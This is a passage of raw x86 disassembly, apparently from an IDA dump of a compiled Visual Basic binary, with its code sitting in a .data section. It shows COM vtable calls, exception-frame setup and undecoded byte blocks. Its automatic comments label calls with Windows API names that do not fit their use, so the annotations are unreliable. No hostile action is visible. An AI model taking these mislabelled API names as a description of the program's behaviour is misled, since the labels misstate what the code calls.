		push	401CC8h
		push	edi
		push	eax
		call	dword ptr ds:loc_40102C

loc_41C378:				; CODE XREF: .data:0041C364j
		lea	edx, [ebp-88h]
		lea	eax, [ebp-84h]
		push	edx
		lea	ecx, [ebp-80h]
		push	eax
		lea	edx, [ebp-7Ch]
		push	ecx
		push	edx
		push	4
		call	dword ptr ds:loc_4010D5+3
		mov	eax, [ebp-20h]
		add	esp, 14h
		push	offset sub_4020E8
		push	eax
		call	esi	; SetErrorMode
		mov	edx, eax
		lea	ecx, [ebp-7Ch]
		call	dword ptr ds:loc_401105+3
		push	eax
		push	offset sub_4020F4
		call	esi	; SetErrorMode
		mov	ebx, [edi]
		lea	ecx, [ebp-0A0h]
		mov	[ebp-98h], eax
		lea	edx, [ebp-44h]
		push	ecx
		lea	eax, [ebp-0B0h]
		push	edx
		push	eax
		mov	dword ptr [ebp-0A0h], 8
		call	dword ptr ds:loc_4010A7+1
		lea	ecx, [ebp-80h]
		push	eax
		push	ecx
		call	dword ptr ds:loc_4010A4
		push	eax
		push	edi
		call	dword ptr [ebx+718h]
		test	eax, eax
		jge	short loc_41C40A
		push	718h
		push	401CC8h
		push	edi
		push	eax
		call	dword ptr ds:loc_40102C

loc_41C40A:				; CODE XREF: .data:0041C3F6j
		lea	edx, [ebp-80h]
		lea	eax, [ebp-7Ch]
		push	edx
		push	eax
		push	2
		call	dword ptr ds:loc_4010D5+3
		lea	ecx, [ebp-0B0h]
		lea	edx, [ebp-0A0h]
		push	ecx
		push	edx
		push	2
		call	dword ptr ds:loc_401019+3
		mov	eax, [ebp-20h]
		add	esp, 18h
		push	offset sub_4020E8
		push	eax
		call	esi	; SetErrorMode
		mov	ebx, dword ptr ds:loc_401105+3
		mov	edx, eax
		lea	ecx, [ebp-7Ch]
		call	ebx	; GetShortPathNameA
		push	eax
		push	offset sub_4020F4
		call	esi	; SetErrorMode
		mov	edx, eax
		lea	ecx, [ebp-80h]
		call	ebx	; GetShortPathNameA
		mov	ecx, [ebp-78h]
		push	eax
		push	ecx
		call	esi	; SetErrorMode
		mov	edx, eax
		lea	ecx, [ebp-84h]
		call	ebx	; GetShortPathNameA
		mov	edx, [ebp-24h]
		push	eax
		push	edx
		call	esi	; SetErrorMode
		mov	edx, eax
		lea	ecx, [ebp-88h]
		call	ebx	; GetShortPathNameA
		push	eax
		push	offset sub_401F34
		call	esi	; SetErrorMode
		mov	edx, eax
		lea	ecx, [ebp-8Ch]
		call	ebx	; GetShortPathNameA
		mov	eax, [edi]
		lea	ecx, [ebp-0E4h]
		lea	edx, [ebp-8Ch]
		push	ecx
		push	edx
		push	edi
		call	dword ptr [eax+700h]
		test	eax, eax
		jge	short loc_41C4BB
		push	700h
		push	401CC8h
		push	edi
		push	eax
		call	dword ptr ds:loc_40102C

loc_41C4BB:				; CODE XREF: .data:0041C4A7j
		lea	eax, [ebp-8Ch]
		lea	ecx, [ebp-88h]
		xor	ebx, ebx
		cmp	word ptr [ebp-0E4h], 0FFFFh
		push	eax
		lea	edx, [ebp-84h]
		push	ecx
		lea	eax, [ebp-80h]
		push	edx
		lea	ecx, [ebp-7Ch]
		push	eax
		push	ecx
		setz	bl
		push	5
		neg	ebx
		call	dword ptr ds:loc_4010D5+3
		add	esp, 18h
		test	bx, bx
		jz	loc_41C85A
		mov	edx, [ebp-20h]
		mov	ebx, [edi]
		push	offset sub_4020E8
		push	edx
		call	esi	; SetErrorMode
		mov	edx, eax
		lea	ecx, [ebp-7Ch]
		call	dword ptr ds:loc_401105+3
		push	eax
		push	offset sub_4020F4
		call	esi	; SetErrorMode
		mov	edx, eax
		lea	ecx, [ebp-80h]
		call	dword ptr ds:loc_401105+3
		push	eax
		mov	eax, [ebp-78h]
		push	eax
		call	esi	; SetErrorMode
		mov	edx, eax
		lea	ecx, [ebp-84h]
		call	dword ptr ds:loc_401105+3
		mov	ecx, [ebp-24h]
		push	eax
		push	ecx
		call	esi	; SetErrorMode
		mov	edx, eax
		lea	ecx, [ebp-88h]
		call	dword ptr ds:loc_401105+3
		push	eax
		push	offset sub_401F34
		call	esi	; SetErrorMode
		mov	edx, eax
		lea	ecx, [ebp-8Ch]
		call	dword ptr ds:loc_401105+3
		push	eax
		push	edi
		call	dword ptr [ebx+718h]
		test	eax, eax
		jge	short loc_41C584
		push	718h
		push	401CC8h
		push	edi
		push	eax
		call	dword ptr ds:loc_40102C

loc_41C584:				; CODE XREF: .data:0041C570j
		lea	edx, [ebp-8Ch]
		lea	eax, [ebp-88h]
		push	edx
		lea	ecx, [ebp-84h]
		push	eax
		lea	edx, [ebp-80h]
		push	ecx
		lea	eax, [ebp-7Ch]
		push	edx
		push	eax
		push	5
		call	dword ptr ds:loc_4010D5+3
		add	esp, 18h
		jmp	loc_41C85A
; ---------------------------------------------------------------------------

loc_41C5B1:				; CODE XREF: .data:0041BD56j
		mov	ecx, [ebp-20h]
		push	offset sub_4020E8
		push	ecx
		call	esi	; SetErrorMode
		mov	edx, eax
		lea	ecx, [ebp-7Ch]
		call	ebx	; GetShortPathNameA
		push	eax
		push	offset sub_401F44
		call	esi	; SetErrorMode
		mov	edx, eax
		lea	ecx, [ebp-80h]
		call	ebx	; GetShortPathNameA
		mov	edx, [ebp-24h]
		push	eax
		push	edx
		call	esi	; SetErrorMode
		mov	edx, eax
		lea	ecx, [ebp-84h]
		call	ebx	; GetShortPathNameA
		push	eax
		push	offset sub_401F34
		call	esi	; SetErrorMode
		mov	edx, eax
		lea	ecx, [ebp-88h]
		call	ebx	; GetShortPathNameA
		mov	eax, [edi]
		lea	ecx, [ebp-0E4h]
		lea	edx, [ebp-88h]
		push	ecx
		push	edx
		push	edi
		call	dword ptr [eax+700h]
		test	eax, eax
		jge	short loc_41C622
		push	700h
		push	401CC8h
		push	edi
		push	eax
		call	dword ptr ds:loc_40102C

loc_41C622:				; CODE XREF: .data:0041C60Ej
		xor	eax, eax
		cmp	word ptr [ebp-0E4h], 0FFFFh
		lea	ecx, [ebp-88h]
		lea	edx, [ebp-84h]
		setz	al
		neg	eax
		mov	[ebp-0ECh], eax
		push	ecx
		lea	eax, [ebp-80h]
		push	edx
		lea	ecx, [ebp-7Ch]
		push	eax
		push	ecx
		push	4
		call	dword ptr ds:loc_4010D5+3
		add	esp, 14h
		cmp	word ptr [ebp-0ECh], 0
		jz	loc_41C71D
		mov	edx, [ebp-20h]
		mov	ebx, [edi]
		push	offset sub_4020E8
		push	edx
		call	esi	; SetErrorMode
		mov	edx, eax
		lea	ecx, [ebp-7Ch]
		call	dword ptr ds:loc_401105+3
		push	eax
		push	offset sub_4020F4
		call	esi	; SetErrorMode
		mov	edx, eax
		lea	ecx, [ebp-80h]
		call	dword ptr ds:loc_401105+3
		push	eax
		mov	eax, [ebp-78h]
		push	eax
		call	esi	; SetErrorMode
		mov	edx, eax
		lea	ecx, [ebp-84h]
		call	dword ptr ds:loc_401105+3
		mov	ecx, [ebp-24h]
		push	eax
		push	ecx
		call	esi	; SetErrorMode
		mov	edx, eax
		lea	ecx, [ebp-88h]
		call	dword ptr ds:loc_401105+3
		push	eax
		push	offset sub_401F34
		call	esi	; SetErrorMode
		mov	edx, eax
		lea	ecx, [ebp-8Ch]
		call	dword ptr ds:loc_401105+3
		push	eax
		push	edi
		call	dword ptr [ebx+718h]
		test	eax, eax
		jge	short loc_41C6EF
		push	718h
		push	401CC8h
		push	edi
		push	eax
		call	dword ptr ds:loc_40102C

loc_41C6EF:				; CODE XREF: .data:0041C6DBj
		lea	edx, [ebp-8Ch]
		lea	eax, [ebp-88h]
		push	edx
		lea	ecx, [ebp-84h]
		push	eax
		lea	edx, [ebp-80h]
		push	ecx
		lea	eax, [ebp-7Ch]
		push	edx
		push	eax
		push	5
		call	dword ptr ds:loc_4010D5+3
		mov	ebx, dword ptr ds:loc_401105+3
		add	esp, 18h

loc_41C71D:				; CODE XREF: .data:0041C660j
		mov	ecx, [ebp-20h]
		push	offset sub_4020E8
		push	ecx
		call	esi	; SetErrorMode
		mov	edx, eax
		lea	ecx, [ebp-7Ch]
		call	ebx	; GetShortPathNameA
		mov	edx, [ebp-34h]
		push	eax
		push	edx
		call	esi	; SetErrorMode
		mov	edx, eax
		lea	ecx, [ebp-80h]
		call	ebx	; GetShortPathNameA
		push	eax
		mov	eax, [ebp-24h]
		push	eax
		call	esi	; SetErrorMode
		mov	edx, eax
		lea	ecx, [ebp-84h]
		call	ebx	; GetShortPathNameA
		push	eax
		push	offset sub_401F34
		call	esi	; SetErrorMode
		mov	edx, eax
		lea	ecx, [ebp-88h]
		call	ebx	; GetShortPathNameA
		mov	ecx, [edi]
		lea	edx, [ebp-0E4h]
		lea	eax, [ebp-88h]
		push	edx
		push	eax
		push	edi
		call	dword ptr [ecx+700h]
		test	eax, eax
		jge	short loc_41C78D
		push	700h
		push	401CC8h
		push	edi
		push	eax
		call	dword ptr ds:loc_40102C

loc_41C78D:				; CODE XREF: .data:0041C779j
		lea	ecx, [ebp-88h]
		xor	ebx, ebx
		cmp	word ptr [ebp-0E4h], 0FFFFh
		lea	edx, [ebp-84h]
		push	ecx
		lea	eax, [ebp-80h]
		push	edx
		lea	ecx, [ebp-7Ch]
		push	eax
		push	ecx
		setz	bl
		push	4
		neg	ebx
		call	dword ptr ds:loc_4010D5+3
		add	esp, 14h
		test	bx, bx
		jz	loc_41C85A
		mov	edx, [ebp-20h]
		mov	ebx, [edi]
		push	offset sub_4020E8
		push	edx
		call	esi	; SetErrorMode
		mov	edx, eax
		lea	ecx, [ebp-7Ch]
		call	dword ptr ds:loc_401105+3
		push	eax
		mov	eax, [ebp-34h]
		push	eax
		call	esi	; SetErrorMode
		mov	edx, eax
		lea	ecx, [ebp-80h]
		call	dword ptr ds:loc_401105+3
		mov	ecx, [ebp-24h]
		push	eax
		push	ecx
		call	esi	; SetErrorMode
		mov	edx, eax
		lea	ecx, [ebp-84h]
		call	dword ptr ds:loc_401105+3
		push	eax
		push	offset sub_401F34
		call	esi	; SetErrorMode
		mov	edx, eax
		lea	ecx, [ebp-88h]
		call	dword ptr ds:loc_401105+3
		push	eax
		push	edi
		call	dword ptr [ebx+718h]
		test	eax, eax
		jge	short loc_41C839
		push	718h
		push	401CC8h
		push	edi
		push	eax
		call	dword ptr ds:loc_40102C

loc_41C839:				; CODE XREF: .data:0041C825j
		lea	edx, [ebp-88h]
		lea	eax, [ebp-84h]
		push	edx
		lea	ecx, [ebp-80h]
		push	eax
		lea	edx, [ebp-7Ch]
		push	ecx
		push	edx
		push	4
		call	dword ptr ds:loc_4010D5+3
		add	esp, 14h

loc_41C85A:				; CODE XREF: .data:0041C4F5j
					; .data:0041C5ACj ...
		mov	dword ptr [ebp-4], 0
		wait
		push	403CBCh
		jmp	short loc_41C8B7
; ---------------------------------------------------------------------------
		db 8Dh,	85h, 74h
		dd 8DFFFFFFh, 0FFFF788Dh, 958D50FFh, 0FFFFFF7Ch, 80458D51h
		dd 844D8D52h, 56A5150h,	10D815FFh, 0C4830040h, 708D8D18h
		dd 0FFFFFFFFh, 40111C15h, 50958D00h, 8DFFFFFFh,	0FFFF6085h
		dd 6A5052FFh, 1C15FF02h, 83004010h
		db 0C4h, 0Ch, 0C3h
; ---------------------------------------------------------------------------

loc_41C8B7:				; CODE XREF: .data:0041C867j
		mov	esi, dword ptr ds:loc_401118
		lea	ecx, [ebp-18h]
		call	esi	; SetErrorMode
		lea	ecx, [ebp-1Ch]
		call	esi	; SetErrorMode
		lea	ecx, [ebp-20h]
		call	esi	; SetErrorMode
		lea	ecx, [ebp-24h]
		call	esi	; SetErrorMode
		lea	ecx, [ebp-28h]
		call	esi	; SetErrorMode
		lea	ecx, [ebp-2Ch]
		call	esi	; SetErrorMode
		lea	ecx, [ebp-30h]
		call	esi	; SetErrorMode
		lea	ecx, [ebp-34h]
		call	esi	; SetErrorMode
		mov	edi, dword ptr ds:loc_40100C
		lea	ecx, [ebp-44h]
		call	edi	; PeekMessageA
		lea	ecx, [ebp-48h]
		call	esi	; SetErrorMode
		lea	ecx, [ebp-4Ch]
		call	esi	; SetErrorMode
		lea	ecx, [ebp-5Ch]
		call	edi	; PeekMessageA
		lea	ecx, [ebp-6Ch]
		call	edi	; PeekMessageA
		lea	ecx, [ebp-70h]
		call	esi	; SetErrorMode
		lea	ecx, [ebp-74h]
		call	esi	; SetErrorMode
		lea	ecx, [ebp-78h]
		call	esi	; SetErrorMode
		retn
; ---------------------------------------------------------------------------
		dd 5008458Bh, 51FF088Bh, 0FC458B08h, 5FEC4D8Bh,	0D89645Eh
		dd 0
		dd 5DE58B5Bh, 900004C2h, 90909090h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	4011F6h
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 8Ch
		push	ebx
		push	esi
		push	edi
		mov	[ebp-0Ch], esp
		mov	dword ptr [ebp-8], 401138h
		xor	edi, edi
		mov	[ebp-4], edi
		mov	esi, [ebp+8]
		push	esi
		mov	eax, [esi]
		call	dword ptr [eax+4]
		mov	edx, [ebp+0Ch]
		mov	[ebp-18h], edi
		mov	[ebp-1Ch], edi
		mov	[ebp-20h], edi
		mov	[ebp-24h], edi
		mov	[ebp-28h], edi
		mov	[ebp-2Ch], edi
		mov	[ebp-30h], edi
		mov	[ebp-34h], edi
		mov	[ebp-38h], edi
		mov	[ebp-48h], edi
		mov	[ebp-58h], edi
		mov	[ebp-5Ch], edi
		mov	[ebp-90h], edi
		mov	edi, dword ptr ds:loc_4010CF+1
		lea	ecx, [ebp-1Ch]
		call	edi	; PeekMessageA
		mov	edx, [ebp+10h]
		lea	ecx, [ebp-20h]
		call	edi	; PeekMessageA
		mov	edx, [ebp+14h]
		lea	ecx, [ebp-18h]
		call	edi	; PeekMessageA
		mov	edx, [ebp+18h]
		lea	ecx, [ebp-28h]
		call	edi	; PeekMessageA
		mov	edx, [ebp-20h]
		mov	edi, dword ptr ds:loc_401026+2
		mov	ebx, [esi]
		lea	ecx, [ebp-90h]
		push	ecx
		push	offset sub_4020E8
		push	edx
		call	edi	; PeekMessageA
		mov	edx, eax
		lea	ecx, [ebp-2Ch]
		call	dword ptr ds:loc_401105+3
		push	eax
		push	esi
		call	dword ptr [ebx+704h]
		test	eax, eax
		jge	short loc_41CA05
		push	704h
		push	401CC8h
		push	esi
		push	eax
		call	dword ptr ds:loc_40102C

loc_41CA05:				; CODE XREF: .data:0041C9F1j
		xor	ebx, ebx
		lea	ecx, [ebp-2Ch]
		cmp	[ebp-90h], bx
		setz	bl
		neg	ebx
		call	dword ptr ds:loc_401118
		test	bx, bx
		jz	short loc_41CA60
		mov	eax, [ebp-20h]
		mov	ebx, [esi]
		push	offset sub_4020E8
		push	eax
		call	edi	; PeekMessageA
		mov	edx, eax
		lea	ecx, [ebp-2Ch]
		call	dword ptr ds:loc_401105+3
		push	eax
		push	esi
		call	dword ptr [ebx+710h]
		test	eax, eax
		jge	short loc_41CA57
		push	710h
		push	401CC8h
		push	esi
		push	eax
		call	dword ptr ds:loc_40102C

loc_41CA57:				; CODE XREF: .data:0041CA43j
		lea	ecx, [ebp-2Ch]
		call	dword ptr ds:loc_401118

loc_41CA60:				; CODE XREF: .data:0041CA1Fj
		mov	ecx, [ebp-18h]
		mov	edx, [ebp-28h]
		push	ecx
		push	edx
		call	edi	; PeekMessageA
		mov	ebx, dword ptr ds:loc_401105+3
		mov	edx, eax
		lea	ecx, [ebp-2Ch]
		call	ebx	; GetShortPathNameA
		push	eax
		mov	eax, [ebp-1Ch]
		push	eax
		call	edi	; PeekMessageA
		sub	esp, 10h
		mov	ecx, 8
		mov	edx, esp
		mov	[ebp-48h], ecx
		mov	[ebp-40h], eax
		sub	esp, 10h
		mov	[edx], ecx
		mov	ecx, [ebp-44h]
		mov	[edx+4], ecx
		mov	ecx, esp
		push	2
		push	16h
		mov	[edx+8], eax
		mov	eax, [ebp-3Ch]
		push	esi
		mov	[edx+0Ch], eax
		mov	edx, [ebp-78h]
		mov	eax, 3
		mov	[ecx], eax
		mov	eax, 1
		mov	[ecx+4], edx
		mov	[ecx+8], eax
		mov	eax, [ebp-70h]
		mov	[ecx+0Ch], eax
		mov	ecx, [esi]
		call	dword ptr [ecx+2FCh]
		lea	edx, [ebp-38h]
		push	eax
		push	edx
		call	dword ptr ds:loc_401038
		push	eax
		lea	eax, [ebp-58h]
		push	eax
		call	dword ptr ds:loc_401077+1
		add	esp, 30h
		lea	ecx, [ebp-5Ch]
		push	eax
		push	ecx
		call	dword ptr ds:loc_4010C0
		lea	edx, [ebp-5Ch]
		lea	eax, [ebp-24h]
		push	edx
		push	eax
		call	dword ptr ds:loc_401010
		lea	ecx, [ebp-2Ch]
		call	dword ptr ds:loc_401118
		lea	ecx, [ebp-38h]
		call	dword ptr ds:loc_401118+4
		lea	ecx, [ebp-58h]
		lea	edx, [ebp-48h]
		push	ecx
		push	edx
		push	2
		call	dword ptr ds:loc_401019+3
		mov	eax, [ebp-20h]
		add	esp, 0Ch
		push	offset sub_4020E8
		push	eax
		call	edi	; PeekMessageA
		mov	edx, eax
		lea	ecx, [ebp-2Ch]
		call	ebx	; GetShortPathNameA
		push	eax
		push	offset sub_4020F4
		call	edi	; PeekMessageA
		mov	edx, eax
		lea	ecx, [ebp-30h]
		call	ebx	; GetShortPathNameA
		mov	ecx, [ebp-1Ch]
		push	eax
		push	ecx
		call	edi	; PeekMessageA
		mov	edx, eax
		lea	ecx, [ebp-34h]
		call	ebx	; GetShortPathNameA
		push	eax
		push	1
		push	0FFFFFFFFh
		push	220h
		call	dword ptr ds:loc_4010BB+1
		lea	edx, [ebp-34h]
		lea	eax, [ebp-30h]
		push	edx
		lea	ecx, [ebp-2Ch]
		push	eax
		push	ecx
		push	3
		call	dword ptr ds:loc_4010D5+3
		add	esp, 10h
		lea	edx, [ebp-24h]
		push	1
		push	edx
		push	402844h
		call	dword ptr ds:loc_401068
		push	1
		call	dword ptr ds:loc_401058
		push	403FA8h
		jmp	short loc_41CBD9
; ---------------------------------------------------------------------------
		db 8Dh,	45h, 0CCh
		dd 50D04D8Dh, 51D4558Dh, 0FF036A52h, 4010D815h,	10C48300h
		dd 0FFC84D8Dh, 40111C15h, 0A8458D00h, 50B84D8Dh, 0FF026A51h
		dd 40101C15h, 0CC48300h, 52A4558Dh, 15FF006Ah, 401034h
		db 0C3h
; ---------------------------------------------------------------------------

loc_41CBD9:				; CODE XREF: .data:0041CB97j
		mov	esi, dword ptr ds:loc_401118
		lea	ecx, [ebp-18h]
		call	esi	; SetErrorMode
		lea	ecx, [ebp-1Ch]
		call	esi	; SetErrorMode
		lea	ecx, [ebp-20h]
		call	esi	; SetErrorMode
		lea	eax, [ebp-24h]
		push	eax
		push	0
		call	dword ptr ds:loc_401032+2
		lea	ecx, [ebp-28h]
		call	esi	; SetErrorMode
		retn
; ---------------------------------------------------------------------------
		dd 5008458Bh, 51FF088Bh, 0FC458B08h, 5FEC4D8Bh,	0D89645Eh
		dd 0
		dd 5DE58B5Bh, 900014C2h, 2 dup(90909090h)
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	4011F6h
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 0CCh
		push	ebx
		push	esi
		push	edi
		mov	[ebp-0Ch], esp
		mov	dword ptr [ebp-8], offset sub_401148
		xor	esi, esi
		mov	[ebp-4], esi
		mov	edi, [ebp+8]
		push	edi
		mov	eax, [edi]
		call	dword ptr [eax+4]
		mov	edx, [ebp+0Ch]
		lea	ecx, [ebp-44h]
		mov	[ebp-18h], esi
		mov	[ebp-28h], esi
		mov	[ebp-2Ch], esi
		mov	[ebp-30h], esi
		mov	[ebp-40h], esi
		mov	[ebp-44h], esi
		mov	[ebp-48h], esi
		mov	[ebp-58h], esi
		mov	[ebp-68h], esi
		mov	[ebp-78h], esi
		mov	[ebp-88h], esi
		mov	[ebp-98h], esi
		mov	[ebp-0A8h], esi
		mov	[ebp-0B8h], esi
		mov	[ebp-0C8h], esi
		mov	[ebp-0D8h], esi
		call	dword ptr ds:loc_4010CF+1
		mov	esi, dword ptr ds:loc_4010F3+1
		lea	edx, [ebp+10h]
		lea	ecx, [ebp-40h]
		call	esi	; SetErrorMode
		lea	edx, [ebp+20h]
		lea	ecx, [ebp-28h]
		call	esi	; SetErrorMode
		mov	ecx, [ebp-44h]
		push	offset sub_402860
		push	ecx
		call	dword ptr ds:loc_401026+2
		mov	ebx, dword ptr ds:loc_401105+3
		mov	edx, eax
		lea	ecx, [ebp-30h]
		call	ebx	; GetShortPathNameA
		mov	edx, [ebp-44h]
		mov	esi, dword ptr ds:loc_4010A7+1
		mov	eax, 8
		mov	[ebp-0C0h], edx
		mov	[ebp-0A8h], eax
		mov	[ebp-0B8h], eax
		mov	[ebp-0C8h], eax
		mov	[ebp-0D8h], eax
		lea	eax, [ebp-0A8h]
		lea	ecx, [ebp-28h]
		push	eax
		lea	edx, [ebp-58h]
		push	ecx
		push	edx
		mov	dword ptr [ebp-0A0h], 401FE0h
		mov	dword ptr [ebp-0B0h], 402880h
		mov	dword ptr [ebp-0D0h], offset sub_402888
		call	esi	; SetErrorMode
		push	eax
		lea	eax, [ebp-0B8h]
		lea	ecx, [ebp-68h]
		push	eax
		push	ecx
		call	esi	; SetErrorMode
		push	eax
		lea	edx, [ebp-40h]
		lea	eax, [ebp-78h]
		push	edx
		push	eax
		call	esi	; SetErrorMode
		lea	ecx, [ebp-0C8h]
		push	eax
		lea	edx, [ebp-88h]
		push	ecx
		push	edx
		call	esi	; SetErrorMode
		push	eax
		lea	eax, [ebp-0D8h]
		lea	ecx, [ebp-98h]
		push	eax
		push	ecx
		call	esi	; SetErrorMode
		mov	esi, dword ptr ds:loc_401013+1
		push	eax
		call	esi	; SetErrorMode
		mov	edx, eax
		lea	ecx, [ebp-18h]
		call	ebx	; GetShortPathNameA
		lea	edx, [ebp-98h]
		lea	eax, [ebp-88h]
		push	edx
		lea	ecx, [ebp-78h]
		push	eax
		lea	edx, [ebp-68h]
		push	ecx
		lea	eax, [ebp-58h]
		push	edx
		push	eax
		push	5
		call	dword ptr ds:loc_401019+3
		mov	ecx, [ebp-18h]
		mov	edx, [ebp-30h]
		add	esp, 18h
		push	ecx
		push	edx
		call	dword ptr ds:loc_401026+2
		sub	esp, 10h
		mov	ecx, 8
		mov	edx, esp
		mov	[ebp-58h], ecx
		mov	[ebp-50h], eax
		push	1
		mov	[edx], ecx
		mov	ecx, [ebp-54h]
		push	16h
		push	edi
		mov	[edx+4], ecx
		mov	ecx, [edi]
		mov	[edx+8], eax
		mov	eax, [ebp-4Ch]
		mov	[edx+0Ch], eax
		call	dword ptr [ecx+2FCh]
		lea	edx, [ebp-48h]
		push	eax
		push	edx
		call	dword ptr ds:loc_401038
		push	eax
		lea	eax, [ebp-68h]
		push	eax
		call	dword ptr ds:loc_401077+1
		add	esp, 20h
		push	eax
		call	esi	; SetErrorMode
		mov	edx, eax
		lea	ecx, [ebp-2Ch]
		call	ebx	; GetShortPathNameA
		lea	ecx, [ebp-48h]
		call	dword ptr ds:loc_401118+4
		lea	ecx, [ebp-68h]
		lea	edx, [ebp-58h]
		push	ecx
		push	edx
		push	2
		call	dword ptr ds:loc_401019+3
		add	esp, 0Ch
		push	404231h
		jmp	short loc_41CE5E
; ---------------------------------------------------------------------------
		db 8Dh
		dd 15FFB84Dh, 40111Ch, 0FF68858Dh, 8D8DFFFFh, 0FFFFFF78h
		dd 88558D50h, 98458D51h, 0A84D8D52h, 56A5150h, 101C15FFh
		dd 0C4830040h
		db 18h,	0C3h
; ---------------------------------------------------------------------------

loc_41CE5E:				; CODE XREF: .data:0041CE2Dj
		mov	esi, dword ptr ds:loc_401118
		lea	ecx, [ebp-18h]
		call	esi	; SetErrorMode
		mov	edi, dword ptr ds:loc_40100C
		lea	ecx, [ebp-28h]
		call	edi	; PeekMessageA
		lea	ecx, [ebp-2Ch]
		call	esi	; SetErrorMode
		lea	ecx, [ebp-30h]
		call	esi	; SetErrorMode
		lea	ecx, [ebp-40h]
		call	edi	; PeekMessageA
		lea	ecx, [ebp-44h]
		call	esi	; SetErrorMode
		retn
; ---------------------------------------------------------------------------
		db 8Bh,	45h, 8
		dd 0FF108B50h, 458B0852h, 0EC4D8BFCh, 89645E5Fh, 0Dh, 0E58B5B00h
		dd 28C25Dh
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		push	4011F6h
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		mov	eax, 0A0h
		call	sub_419E48
		push	ebx
		push	esi
		push	edi
		mov	[ebp-18h], esp
		mov	dword ptr [ebp-14h], 401158h
		mov	dword ptr [ebp-10h], 0
		mov	dword ptr [ebp-0Ch], 0
		mov	eax, [ebp+8]
		mov	ecx, [eax]
		mov	edx, [ebp+8]
		push	edx
		call	dword ptr [ecx+4]
		mov	dword ptr [ebp-4], 1
		mov	dword ptr [ebp-4], 2
		mov	dword ptr [ebp-40h], 80020004h
		mov	dword ptr [ebp-48h], 0Ah
		lea	eax, [ebp-48h]
		push	eax
		call	dword ptr ds:loc_4010C3+1
		mov	[ebp-80h], ax
		mov	dword ptr [ebp-88h], 2
		lea	edx, [ebp-88h]
		lea	ecx, [ebp-34h]
		call	dword ptr ds:loc_401006+2
		lea	ecx, [ebp-48h]
		call	dword ptr ds:loc_40100C
		mov	dword ptr [ebp-4], 3
		push	0FFFFFFFFh
		call	dword ptr ds:loc_401039+3
		mov	dword ptr [ebp-4], 4
		mov	ecx, [ebp+0Ch]
		mov	edx, [ecx]
		push	edx
		lea	eax, [ebp-34h]
		push	eax
		call	dword ptr ds:loc_4010A9+3
		push	eax
		push	0FFFFFFFFh
		push	1
		call	dword ptr ds:loc_4010BB+1
		mov	dword ptr [ebp-4], 5
		call	dword ptr ds:loc_4010E4
		push	eax
		lea	ecx, [ebp-38h]
		push	ecx
		call	dword ptr ds:loc_401038
		mov	[ebp-0A0h], eax
		lea	edx, [ebp-9Ch]
		push	edx
		mov	eax, [ebp-0A0h]
		mov	ecx, [eax]
		mov	edx, [ebp-0A0h]
		push	edx
		call	dword ptr [ecx+1Ch]
		fnclex
		mov	[ebp-0A4h], eax
		cmp	dword ptr [ebp-0A4h], 0
		jge	short loc_41CFDA
		push	1Ch
		push	402898h
		mov	eax, [ebp-0A0h]
		push	eax
		mov	ecx, [ebp-0A4h]
		push	ecx
		call	dword ptr ds:loc_40102C
		mov	[ebp-0BCh], eax
		jmp	short loc_41CFE4
; ---------------------------------------------------------------------------

loc_41CFDA:				; CODE XREF: .data:0041CFB5j
		mov	dword ptr [ebp-0BCh], 0

loc_41CFE4:				; CODE XREF: .data:0041CFD8j
		mov	dword ptr [ebp-50h], 0
		mov	dword ptr [ebp-58h], 0Bh
		mov	dword ptr [ebp-40h], 0FFFFFFFFh
		mov	dword ptr [ebp-48h], 0Bh
		xor	edx, edx
		cmp	dword ptr [ebp-9Ch], 0
		setz	dl
		neg	edx
		mov	[ebp-70h], dx
		mov	dword ptr [ebp-78h], 0Bh
		lea	eax, [ebp-58h]
		push	eax
		lea	ecx, [ebp-48h]
		push	ecx
		lea	edx, [ebp-78h]
		push	edx
		lea	eax, [ebp-68h]
		push	eax
		call	dword ptr ds:loc_4010CF+5
		lea	ecx, [ebp-68h]
		push	ecx
		call	dword ptr ds:loc_4010A9+3
		mov	[ebp-24h], ax
		lea	ecx, [ebp-38h]
		call	dword ptr ds:loc_401118+4
		lea	edx, [ebp-68h]
		push	edx
		lea	eax, [ebp-58h]
		push	eax
		lea	ecx, [ebp-48h]
		push	ecx
		lea	edx, [ebp-78h]
		push	edx
		push	4
		call	dword ptr ds:loc_401019+3
		add	esp, 14h
		mov	dword ptr [ebp-4], 6
		lea	eax, [ebp-34h]
		push	eax
		call	dword ptr ds:loc_4010A9+3
		push	eax
		call	dword ptr ds:loc_401058
		mov	dword ptr [ebp-4], 7
		call	dword ptr ds:loc_4010E4
		push	eax
		lea	ecx, [ebp-38h]
		push	ecx
		call	dword ptr ds:loc_401038
		mov	[ebp-0A0h], eax
		push	0
		mov	edx, [ebp-0A0h]
		mov	eax, [edx]
		mov	ecx, [ebp-0A0h]
		push	ecx
		call	dword ptr [eax+20h]
		fnclex
		mov	[ebp-0A4h], eax
		cmp	dword ptr [ebp-0A4h], 0
		jge	short loc_41D0DF
		push	20h
		push	402898h
		mov	edx, [ebp-0A0h]
		push	edx
		mov	eax, [ebp-0A4h]
		push	eax
		call	dword ptr ds:loc_40102C
		mov	[ebp-0C0h], eax
		jmp	short loc_41D0E9
; ---------------------------------------------------------------------------

loc_41D0DF:				; CODE XREF: .data:0041D0BAj
		mov	dword ptr [ebp-0C0h], 0

loc_41D0E9:				; CODE XREF: .data:0041D0DDj
		lea	ecx, [ebp-38h]
		call	dword ptr ds:loc_401118+4
		push	4044CCh
		jmp	short loc_41D11A
; ---------------------------------------------------------------------------
		db 8Dh,	4Dh, 0C8h
		dd 111C15FFh, 4D8D0040h, 558D5198h, 458D52A8h, 36A50B8h
		dd 101C15FFh, 0C4830040h
		db 10h,	0C3h
; ---------------------------------------------------------------------------

loc_41D11A:				; CODE XREF: .data:0041D0F7j
		lea	ecx, [ebp-34h]
		call	dword ptr ds:loc_40100C
		retn
; ---------------------------------------------------------------------------
		dd 8B084D8Bh, 8458B11h,	852FF50h, 66104D8Bh, 66DC558Bh
		dd 458B1189h, 0E04D8BF0h, 0D8964h, 5F000000h, 0E58B5B5Eh
		dd 0CC25Dh, 2 dup(0CCCCCCCCh)
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	4011F6h
		mov	eax, large fs:0
